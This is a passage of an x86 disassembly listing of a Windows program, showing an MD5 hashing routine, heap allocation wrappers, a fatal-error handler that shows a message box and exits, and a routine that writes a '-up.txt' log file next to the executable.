bl jz short loc_4D7943 mov edi, [ebp+arg_0] cmp edi, ebx jz short loc_4D79AA add esi, 58h movsd movsd movsd movsd jmp short loc_4D79AA ; --------------------------------------------------------------------------- loc_4D7943: ; CODE XREF: sub_4D785D+D4j lea edi, [esi+10h] push 8 lea eax, [ebp+var_C] push edi push eax mov ecx, esi call sub_4D82B3 mov eax, [edi] push 38h shr eax, 3 and eax, 3Fh pop ecx cmp eax, ecx jb short loc_4D7966 push 78h pop ecx loc_4D7966: ; CODE XREF: sub_4D785D+104j sub ecx, eax lea eax, [ebp+var_4C] push ecx push eax mov ecx, esi call sub_4D77A4 lea eax, [ebp+var_C] push 8 push eax mov ecx, esi call sub_4D77A4 lea edi, [esi+58h] push 10h push esi push edi mov ecx, esi call sub_4D82B3 cmp [ebp+arg_0], ebx jz short loc_4D79A0 mov esi, edi mov edi, [ebp+arg_0] movsd movsd movsd movsd mov esi, [ebp+var_4] loc_4D79A0: ; CODE XREF: sub_4D785D+135j xor eax, eax lea edi, [esi+18h] stosb mov byte ptr [esi+68h], 1 loc_4D79AA: ; CODE XREF: sub_4D785D+DBj ; sub_4D785D+E4j pop edi pop esi pop ebx leave retn 4 sub_4D785D endp ; =============== S U B R O U T I N E ======================================= sub_4D79B1 proc near ; CODE XREF: sub_4D7798+3p xor eax, eax mov dword ptr [ecx], 67452301h mov [ecx+68h], al mov [ecx+10h], eax mov [ecx+14h], eax mov dword ptr [ecx+4], 0EFCDAB89h mov dword ptr [ecx+8], 98BADCFEh mov dword ptr [ecx+0Ch], 10325476h retn sub_4D79B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D79D8 proc near ; CODE XREF: sub_4D77A4+64p ; sub_4D77A4+80p var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 50h push ebx push esi mov esi, ecx push edi push 40h mov eax, [esi] push [ebp+arg_0] mov [ebp+var_4], eax mov eax, [esi+4] mov [ebp+var_8], eax mov eax, [esi+8] mov [ebp+var_C], eax mov eax, [esi+0Ch] mov [ebp+var_10], eax lea eax, [ebp+var_50] push eax call sub_4D82FA mov edi, [ebp+var_8] mov ebx, [ebp+var_C] mov eax, edi mov ecx, ebx not eax and eax, [ebp+var_10] and ecx, edi mov edx, edi or eax, ecx mov ecx, [ebp+var_4] add eax, [ebp+var_50] lea ecx, [ecx+eax-28955B88h] mov eax, ecx shr eax, 19h shl ecx, 7 or eax, ecx add eax, edi mov ecx, eax and edx, eax not ecx and ecx, ebx or ecx, edx mov edx, [ebp+var_10] add ecx, [ebp+var_4C] lea edx, [edx+ecx-173848AAh] mov ecx, edx shr ecx, 14h shl edx, 0Ch or ecx, edx add ecx, eax mov edx, ecx not edx and edx, edi mov edi, ecx and edi, eax or edx, edi add edx, [ebp+var_48] lea edx, [ebx+edx+242070DBh] mov ebx, ecx mov edi, edx shr edi, 0Fh shl edx, 11h or edi, edx add edi, ecx mov edx, edi and ebx, edi not edx and edx, eax mov [ebp+var_C], edi or edx, ebx mov ebx, [ebp+var_8] add edx, [ebp+var_44] lea ebx, [ebx+edx-3E423112h] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx add edx, edi mov ebx, edx and edi, edx not ebx and ebx, ecx or ebx, edi add ebx, [ebp+var_40] lea eax, [eax+ebx-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax mov eax, edx add edi, edx mov [ebp+var_4], edi and eax, [ebp+var_4] not edi and edi, [ebp+var_C] or edi, eax add edi, [ebp+var_3C] lea ecx, [ecx+edi+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, [ebp+var_4] mov ecx, eax mov edi, eax and edi, [ebp+var_4] mov ebx, eax not ecx and ecx, edx or ecx, edi mov edi, [ebp+var_C] add ecx, [ebp+var_38] lea edi, [edi+ecx-57CFB9EDh] mov ecx, edi shr ecx, 0Fh shl edi, 11h or ecx, edi add ecx, eax mov edi, ecx and ebx, ecx not edi and edi, [ebp+var_4] or edi, ebx mov ebx, ecx add edi, [ebp+var_34] lea edx, [edx+edi-2B96AFFh] mov edi, edx shl edi, 16h shr edx, 0Ah or edi, edx add edi, ecx mov edx, edi and ebx, edi not edx and edx, eax mov [ebp+var_8], edi or edx, ebx mov ebx, [ebp+var_4] add edx, [ebp+var_30] lea ebx, [ebx+edx+698098D8h] mov edx, ebx shr edx, 19h shl ebx, 7 or edx, ebx add edx, edi mov ebx, edx and edi, edx not ebx and ebx, ecx or ebx, edi add ebx, [ebp+var_2C] lea eax, [eax+ebx-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi mov ebx, edi not eax and eax, [ebp+var_8] and ebx, edx or eax, ebx add eax, [ebp+var_28] lea ecx, [ecx+eax-0A44Fh] mov ebx, ecx shr ebx, 0Fh shl ecx, 11h or ebx, ecx mov ecx, edi add ebx, edi mov eax, ebx and ecx, ebx not eax and eax, edx mov [ebp+var_C], ebx or eax, ecx mov ecx, [ebp+var_8] add eax, [ebp+var_24] lea ecx, [ecx+eax-76A32842h] mov eax, ecx shl eax, 16h shr ecx, 0Ah or eax, ecx add eax, ebx mov ecx, eax and ebx, eax not ecx and ecx, edi or ecx, ebx add ecx, [ebp+var_20] lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx mov edx, eax add ecx, eax mov [ebp+var_4], ecx and edx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or ecx, edx add ecx, [ebp+var_1C] lea edi, [edi+ecx-2678E6Dh] mov ecx, edi shr ecx, 14h shl edi, 0Ch or ecx, edi add ecx, [ebp+var_4] mov [ebp+arg_0], ecx mov edi, ecx not [ebp+arg_0] mov edx, [ebp+arg_0] and edi, [ebp+var_4] and edx, eax mov ebx, ecx or edx, edi mov edi, [ebp+var_C] add edx, [ebp+var_18] lea edi, [edi+edx-5986BC72h] mov edx, edi shr edx, 0Fh shl edi, 11h or edx, edi add edx, ecx mov [ebp+var_10], edx and ebx, edx not [ebp+var_10] mov edi, [ebp+var_10] and edi, [ebp+var_4] or edi, ebx mov ebx, ecx add edi, [ebp+var_14] lea eax, [eax+edi+49B40821h] mov edi, eax shl edi, 16h shr eax, 0Ah or edi, eax mov eax, [ebp+arg_0] add edi, edx and eax, edx and ebx, edi or eax, ebx mov ebx, [ebp+var_4] add eax, [ebp+var_4C] lea eax, [ebx+eax-9E1DA9Eh] mov ebx, eax shr ebx, 1Bh shl eax, 5 or ebx, eax mov eax, [ebp+var_10] and eax, edi add ebx, edi mov [ebp+arg_0], eax mov eax, edx and eax, ebx mov [ebp+var_4], ebx mov ebx, eax mov eax, [ebp+arg_0] or eax, ebx add eax, [ebp+var_38] lea ecx, [ecx+eax-3FBF4CC0h] mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx mov ecx, edi add eax, [ebp+var_4] not ecx and ecx, [ebp+var_4] mov ebx, eax and ebx, edi or ecx, ebx add ecx, [ebp+var_24] lea edx, [edx+ecx+265E5A51h] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, [ebp+var_4] add ecx, eax mov [ebp+var_C], ecx and ecx, [ebp+var_4] not edx and edx, eax mov ebx, [ebp+var_C] or edx, ecx add edx, [ebp+var_50] lea edi, [edi+edx-16493856h] mov edx, eax mov ecx, edi shl ecx, 14h shr edi, 0Ch or ecx, edi mov edi, eax add ecx, ebx not edx and edx, ebx and edi, ecx or edx, edi mov edi, [ebp+var_4] add edx, [ebp+var_3C] lea edx, [edi+edx-29D0EFA3h] mov edi, edx shr edi, 1Bh shl edx, 5 or edi, edx mov edx, ebx add edi, ecx mov [ebp+var_4], edi mov edi, ebx and edi, [ebp+var_4] not edx and edx, ecx or edx, edi add edx, [ebp+var_28] lea eax, [eax+edx+2441453h] mov edx, eax shr edx, 17h shl eax, 9 or edx, eax mov eax, ecx add edx, [ebp+var_4] not eax and eax, [ebp+var_4] mov edi, edx and edi, ecx or eax, edi add eax, [ebp+var_14] lea edi, [ebx+eax-275E197Fh] mov eax, edi shr eax, 12h shl edi, 0Eh or eax, edi mov edi, [ebp+var_4] add eax, edx mov ebx, eax and ebx, [ebp+var_4] not edi and edi, edx or edi, ebx mov ebx, edx add edi, [ebp+var_40] lea ecx, [ecx+edi-182C0438h] mov edi, ecx shl edi, 14h shr ecx, 0Ch or edi, ecx mov ecx, edx add edi, eax not ecx and ecx, eax and ebx, edi or ecx, ebx mov ebx, [ebp+var_4] add ecx, [ebp+var_2C] mov [ebp+var_8], edi lea ebx, [ebx+ecx+21E1CDE6h] mov ecx, ebx shr ecx, 1Bh shl ebx, 5 or ecx, ebx mov ebx, eax not ebx add ecx, edi and ebx, edi mov edi, eax and edi, ecx or ebx, edi add ebx, [ebp+var_18] lea edx, [edx+ebx-3CC8F82Ah] mov edi, edx shr edi, 17h shl edx, 9 or edi, edx mov edx, [ebp+var_8] add edi, ecx mov ebx, edi and ebx, [ebp+var_8] not edx and edx, ecx or edx, ebx add edx, [ebp+var_44] lea eax, [eax+edx-0B2AF279h] mov edx, eax shr edx, 12h shl eax, 0Eh or edx, eax mov eax, ecx add edx, edi not eax mov ebx, edx and eax, edi and ebx, ecx or eax, ebx mov ebx, [ebp+var_8] add eax, [ebp+var_30] lea eax, [ebx+eax+455A14EDh] mov ebx, eax shl ebx, 14h shr eax, 0Ch or ebx, eax mov eax, edi add ebx, edx mov [ebp+var_8], ebx not eax mov ebx, edi and eax, edx and ebx, [ebp+var_8] or eax, ebx add eax, [ebp+var_1C] lea ecx, [ecx+eax-561C16FBh] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, edx add eax, [ebp+var_8] mov [ebp+var_4], eax and ecx, [ebp+var_4] mov eax, edx mov ebx, [ebp+var_4] not eax and eax, [ebp+var_8] or eax, ecx mov ecx, [ebp+var_8] add eax, [ebp+var_48] not ecx and ecx, ebx lea edi, [edi+eax-3105C08h] mov eax, edi shr eax, 17h shl edi, 9 or eax, edi add eax, ebx mov edi, eax and edi, [ebp+var_8] or ecx, edi add ecx, [ebp+var_34] lea edx, [edx+ecx+676F02D9h] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, ebx add ecx, eax not edx mov edi, ecx and edx, eax and edi, ebx or edx, edi mov edi, [ebp+var_8] add edx, [ebp+var_20] lea edi, [edi+edx-72D5B376h] mov edx, edi shl edx, 14h shr edi, 0Ch or edx, edi mov edi, eax add edx, ecx xor edi, ecx xor edi, edx add edi, [ebp+var_3C] lea ebx, [ebx+edi-5C6BEh] mov edi, ebx shr edi, 1Ch shl ebx, 4 or edi, ebx mov ebx, ecx add edi, edx xor ebx, edx xor ebx, edi add ebx, [ebp+var_30] lea eax, [eax+ebx-788E097Fh] mov ebx, eax shr ebx, 15h shl eax, 0Bh or ebx, eax add ebx, edi mov eax, ebx xor eax, edx xor eax, edi add eax, [ebp+var_24] lea ecx, [ecx+eax+6D9D6122h] mov eax, ecx shr eax, 10h shl ecx, 10h or eax, ecx mov ecx, ebx add eax, ebx xor ecx, eax mov [ebp+var_C], eax mov eax, ecx xor eax, edi add eax, [ebp+var_18] lea edx, [edx+eax-21AC7F4h] mov eax, edx shl eax, 17h shr edx, 9 or eax, edx add eax, [ebp+var_C] xor ecx, eax add ecx, [ebp+var_4C] lea edi, [edi+ecx-5B4115BCh] mov ecx, edi shr ecx, 1Ch shl edi, 4 or ecx, edi mov edi, [ebp+var_C] mov edx, edi add ecx, eax xor edx, eax xor edx, ecx add edx, [ebp+var_40] lea ebx, [ebx+edx+4BDECFA9h] mov edx, ebx shr edx, 15h shl ebx, 0Bh or edx, ebx add edx, ecx mov ebx, edx mov [ebp+arg_0], edx xor ebx, eax xor ebx, ecx add ebx, [ebp+var_34] lea ebx, [edi+ebx-944B4A0h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx add edi, edx xor [ebp+arg_0], edi mov ebx, [ebp+arg_0] xor ebx, ecx add ebx, [ebp+var_28] lea ebx, [eax+ebx-41404390h] mov eax, ebx shl eax, 17h shr ebx, 9 or eax, ebx mov ebx, [ebp+arg_0] add eax, edi xor ebx, eax add ebx, [ebp+var_1C] lea ebx, [ecx+ebx+289B7EC6h] mov ecx, ebx shr ecx, 1Ch shl ebx, 4 or ecx, ebx mov ebx, edi add ecx, eax xor ebx, eax xor ebx, ecx add ebx, [ebp+var_50] lea edx, [edx+ebx-155ED806h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, ecx mov edx, ebx xor edx, eax xor edx, ecx add edx, [ebp+var_44] lea edx, [edi+edx-2B10CF7Bh] mov edi, edx shr edi, 10h shl edx, 10h or edi, edx mov [ebp+arg_0], ebx add edi, ebx xor [ebp+arg_0], edi mov edx, [ebp+arg_0] xor edx, ecx add edx, [ebp+var_38] lea edx, [eax+edx+4881D05h] mov eax, edx shl eax, 17h shr edx, 9 or eax, edx mov edx, [ebp+arg_0] add eax, edi xor edx, eax add edx, [ebp+var_2C] lea edx, [ecx+edx-262B2FC7h] mov ecx, edx shr ecx, 1Ch shl edx, 4 or ecx, edx mov edx, edi xor edx, eax add ecx, eax xor edx, ecx add edx, [ebp+var_20] lea ebx, [ebx+edx-1924661Bh] mov edx, ebx shr edx, 15h shl ebx, 0Bh or edx, ebx add edx, ecx mov ebx, edx xor ebx, eax xor ebx, ecx add ebx, [ebp+var_14] lea ebx, [edi+ebx+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, ecx add ebx, [ebp+var_48] lea eax, [eax+ebx-3B53A99Bh] mov ebx, eax shl ebx, 17h shr eax, 9 or ebx, eax mov eax, edx add ebx, edi not eax or eax, ebx xor eax, edi add eax, [ebp+var_50] lea eax, [ecx+eax-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [ebp+var_34] lea eax, [edx+eax+432AFF97h] mov edx, eax shr edx, 16h shl eax, 0Ah or edx, eax mov eax, ebx add edx, ecx not eax or eax, edx xor eax, ecx add eax, [ebp+var_18] lea eax, [edi+eax-546BDC59h] mov edi, eax shr edi, 11h shl eax, 0Fh or edi, eax mov eax, ecx add edi, edx push 85845DD1h not eax or eax, edi push 15h xor eax, edx push [ebp+var_4C] add eax, [ebp+var_3C] lea ebx, [ebx+eax-36C5FC7h] mov eax, ebx shl eax, 15h shr ebx, 0Bh or eax, ebx mov ebx, edx add eax, edi not ebx or ebx, eax mov [ebp+var_8], eax xor ebx, edi add ebx, [ebp+var_20] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edi add ebx, eax not ecx or ecx, ebx push ebx xor ecx, eax mov [ebp+var_4], ebx add ecx, [ebp+var_44] not eax lea edx, [edx+ecx-70F3336Eh] mov ecx, edx shr ecx, 16h shl edx, 0Ah or ecx, edx add ecx, ebx or eax, ecx push ecx xor eax, ebx mov [ebp+var_10], ecx add eax, [ebp+var_28] lea eax, [edi+eax-100B83h] mov edx, eax shr edx, 11h shl eax, 0Fh or edx, eax lea eax, [ebp+var_8] add edx, ecx push edx push eax mov [ebp+var_C], edx call sub_4D8280 push 6FA87E4Fh push 6 push [ebp+var_30] lea eax, [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push [ebp+var_8] push eax call sub_4D8280 push 0FE2CE6E0h push 0Ah push [ebp+var_14] lea eax, [ebp+var_10] push [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push eax call sub_4D8280 add esp, 54h push 0A3014314h push 0Fh push [ebp+var_38] lea eax, [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push eax call sub_4D8280 push 4E0811A1h push 15h push [ebp+var_1C] lea eax, [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push eax call sub_4D8280 push 0F7537E82h push 6 push [ebp+var_40] lea eax, [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push [ebp+var_8] push eax call sub_4D8280 add esp, 54h lea eax, [ebp+var_10] push 0BD3AF235h push 0Ah push [ebp+var_24] push [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push eax call sub_4D8280 push 2AD7D2BBh push 0Fh push [ebp+var_48] lea eax, [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push eax call sub_4D8280 push 0EB86D391h push 15h push [ebp+var_2C] lea eax, [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push eax call sub_4D8280 mov eax, [ebp+var_4] add esp, 54h add [esi], eax mov eax, [ebp+var_8] add [esi+4], eax mov eax, [ebp+var_C] add [esi+8], eax mov eax, [ebp+var_10] add [esi+0Ch], eax pop edi pop esi pop ebx leave retn 4 sub_4D79D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8280 proc near ; CODE XREF: sub_4D79D8+79Cp ; sub_4D79D8+7B8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, [ebp+arg_C] mov edx, [ebp+arg_0] not eax or eax, [ebp+arg_4] push esi push 20h xor eax, [ebp+arg_8] pop ecx sub ecx, [ebp+arg_14] add eax, [edx] add eax, [ebp+arg_10] add eax, [ebp+arg_18] mov esi, eax shr esi, cl mov ecx, [ebp+arg_14] shl eax, cl or esi, eax add esi, [ebp+arg_4] mov [edx], esi pop esi pop ebp retn sub_4D8280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D82B3 proc near ; CODE XREF: sub_4D785D+F2p ; sub_4D785D+12Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jbe short loc_4D82F6 mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_4D82CB: ; CODE XREF: sub_4D82B3+40j mov dl, [ecx] mov [eax-1], dl mov edx, [ecx] shr edx, 8 mov [eax], dl mov edx, [ecx] shr edx, 10h mov [eax+1], dl mov edx, [ecx] shr edx, 18h mov [eax+2], dl add eax, 4 add ecx, 4 lea edx, [esi+eax] cmp edx, [ebp+arg_8] jb short loc_4D82CB pop esi loc_4D82F6: ; CODE XREF: sub_4D82B3+7j pop ebp retn 0Ch sub_4D82B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D82FA proc near ; CODE XREF: sub_4D79D8+2Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jbe short loc_4D833E mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push esi push edi push 0FFFFFFFEh lea eax, [edx+2] pop esi sub esi, edx loc_4D8313: ; CODE XREF: sub_4D82FA+40j movzx edi, byte ptr [eax-1] xor edx, edx mov dh, [eax+1] mov dl, [eax] add eax, 4 shl edx, 8 or edx, edi movzx edi, byte ptr [eax-6] shl edx, 8 or edx, edi mov [ecx], edx lea edx, [esi+eax] add ecx, 4 cmp edx, [ebp+arg_8] jb short loc_4D8313 pop edi pop esi loc_4D833E: ; CODE XREF: sub_4D82FA+7j pop ebp retn 0Ch sub_4D82FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8342 proc near ; CODE XREF: _4:004CEC71p _4:004CEC92p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 0 push 0 push 0 push [ebp+var_4] call ds:dword_4E1778 ; RaiseException leave retn sub_4D8342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D835A proc near ; CODE XREF: sub_4CD2E0+3C8p ; _4:004CEE70p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx call sub_4D8397 mov [ebp+var_8], eax cmp [ebp+arg_0], 0 jnz short loc_4D8371 xor eax, eax jmp short locret_4D8395 ; --------------------------------------------------------------------------- loc_4D8371: ; CODE XREF: sub_4D835A+11j push [ebp+arg_0] push 8 push [ebp+var_8] call ds:dword_4E1740 ; RtlAllocateHeap mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4D8392 mov ecx, 0EF000009h call sub_4D8342 loc_4D8392: ; CODE XREF: sub_4D835A+2Cj mov eax, [ebp+var_4] locret_4D8395: ; CODE XREF: sub_4D835A+15j leave retn sub_4D835A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8397 proc near ; CODE XREF: sub_4D835A+5p ; sub_4D83DD:loc_4D83E9p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp ds:dword_4E1A44, 0 jnz short loc_4D83C0 push 0 push 10000h push 0 call ds:dword_4E1748 ; HeapCreate mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ds:dword_4E1A44, eax jmp short loc_4D83C8 ; --------------------------------------------------------------------------- loc_4D83C0: ; CODE XREF: sub_4D8397+Bj mov eax, ds:dword_4E1A44 mov [ebp+var_4], eax loc_4D83C8: ; CODE XREF: sub_4D8397+27j cmp [ebp+var_4], 0 jnz short loc_4D83D8 mov ecx, 0EF00000Dh call sub_4D8342 loc_4D83D8: ; CODE XREF: sub_4D8397+35j mov eax, [ebp+var_4] leave retn sub_4D8397 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D83DD proc near ; CODE XREF: _4:004CE1FEp ; sub_4CF00C+10p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_4D83E9 jmp short locret_4D83FF ; --------------------------------------------------------------------------- loc_4D83E9: ; CODE XREF: sub_4D83DD+8j call sub_4D8397 mov [ebp+var_4], eax push [ebp+arg_0] push 0 push [ebp+var_4] call ds:dword_4E1744 ; RtlFreeHeap locret_4D83FF: ; CODE XREF: sub_4D83DD+Aj leave retn sub_4D83DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8401 proc near ; CODE XREF: sub_4D848C+64p ; sub_4D84F7+3Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 0 push 0 call ds:dword_4E17C4 ; ChangeDisplaySettingsA push 10h push ds:off_4DE4F4 push [ebp+var_4] push 0 call ds:dword_4E17D0 ; MessageBoxA push 0 call ds:dword_4E16E4 ; GetCurrentProcess push eax call ds:dword_4E1798 ; TerminateProcess leave retn sub_4D8401 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8436 proc near ; CODE XREF: sub_4D848C+52p ; sub_4D848C+5Cp ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE500 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_1C], ecx and [ebp+var_4], 0 push [ebp+var_1C] call sub_4D8538 pop ecx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4D847D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_4D847D: ; CODE XREF: sub_4D8436+3Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4D8436 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D848C proc near ; CODE XREF: sub_4CF036+C4p ; sub_4CF94C+CDp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 0Ch push offset dword_4E1A28 call ds:dword_4E16C4 ; RtlEnterCriticalSection mov [ebp+var_8], offset dword_4E1A48 push [ebp+arg_4] push [ebp+arg_0] push offset aErrorAtSDReaso ; "Error at %s:%d\n\nReason: " push [ebp+var_8] call ds:dword_4E17D4 ; wsprintfA add esp, 10h mov [ebp+var_C], eax lea eax, [ebp+arg_C] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+var_8] add eax, [ebp+var_C] push eax call ds:dword_4E17D8 ; wvsprintfA and [ebp+var_4], 0 mov ecx, [ebp+var_8] call sub_4D8436 mov ecx, offset asc_4E0D5C ; "\n" call sub_4D8436 mov ecx, [ebp+var_8] call sub_4D8401 leave retn sub_4D848C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D84F7 proc near ; CODE XREF: sub_4D4AB0+128p ; sub_4DDAB0+8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], offset dword_4E1A48 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push [ebp+var_8] call ds:dword_4E17D8 ; wvsprintfA and [ebp+var_4], 0 mov ecx, [ebp+var_8] call sub_4D8436 mov ecx, offset asc_4E0D5C ; "\n" call sub_4D8436 mov ecx, [ebp+var_8] call sub_4D8401 leave retn sub_4D84F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D8538 proc near ; CODE XREF: sub_4D8436+30p ; sub_4D8726+74p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE510 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi push offset dword_4E1A28 call ds:dword_4E16C4 ; RtlEnterCriticalSection and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, offset dword_4CD720 mov eax, [eax+4] mov eax, [eax+78h] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz loc_4D86AD push 400h call sub_4D835A pop ecx mov [ebp+var_30], eax mov eax, [ebp+var_30] mov [ebp+var_1C], eax push 0 call ds:dword_4E1718 ; GetModuleHandleA mov ecx, offset dword_4CD720 mov ecx, [ecx+4] mov [ecx+7Ch], eax mov eax, offset dword_4CD720 mov eax, [eax+4] cmp dword ptr [eax+7Ch], 0 jnz short loc_4D85C2 jmp loc_4D86F6 ; --------------------------------------------------------------------------- loc_4D85C2: ; CODE XREF: sub_4D8538+83j push 400h push [ebp+var_1C] mov eax, offset dword_4CD720 mov eax, [eax+4] push dword ptr [eax+7Ch] call ds:dword_4E1714 ; GetModuleFileNameA test eax, eax jnz short loc_4D85E4 jmp loc_4D86F6 ; --------------------------------------------------------------------------- loc_4D85E4: ; CODE XREF: sub_4D8538+A5j mov edi, [ebp+var_1C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_24], ecx push offset aUp_txt ; "-up.txt" mov eax, [ebp+var_1C] add eax, [ebp+var_24] push eax call ds:dword_4E17D4 ; wsprintfA pop ecx pop ecx push 0 push 80h push 2 push 0 push 1 push 40000000h push [ebp+var_1C] call ds:dword_4E16A8 ; CreateFileA mov ecx, offset dword_4CD720 mov ecx, [ecx+4] mov [ecx+78h], eax mov eax, offset dword_4CD720 mov eax, [eax+4] mov eax, [eax+78h] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4D8648 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4D8690 loc_4D8648: ; CODE XREF: sub_4D8538+108j push offset aUp1_txt ; "-up1.txt" mov eax, [ebp+var_1C] add eax, [ebp+var_24] push eax call ds:dword_4E17D4 ; wsprintfA pop ecx pop ecx push 0 push 80h push 2 push 0 push 1 push 40000000h push [ebp+var_1C] call ds:dword_4E16A8 ; CreateFileA mov ecx, offset dword_4CD720 mov ecx, [ecx+4] mov [ecx+78h], eax mov eax, offset dword_4CD720 mov eax, [eax+4] mov eax, [eax+78h] mov [ebp+var_20], eax loc_4D8690: ; CODE XREF: sub_4D8538+10Ej cmp [ebp+var_20], 0 jz short loc_4D869C cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4D869E loc_4D869C: ; CODE XREF: sub_4D8538+15Cj jmp short loc_4D86F6 ; --------------------------------------------------------------------------- loc_4D869E: ; CODE XREF: sub_4D8538+162j push 2 push 0 push 0 push [ebp+var_20] call ds:dword_4E1788 ; SetFilePointer loc_4D86AD: ; CODE XREF: sub_4D8538+4Aj cmp [ebp+var_20], 0FFFFFFFFh jz short loc_4D86E7 push 0 lea eax, [ebp+var_28] push eax mov edi, [ebp+arg_0] 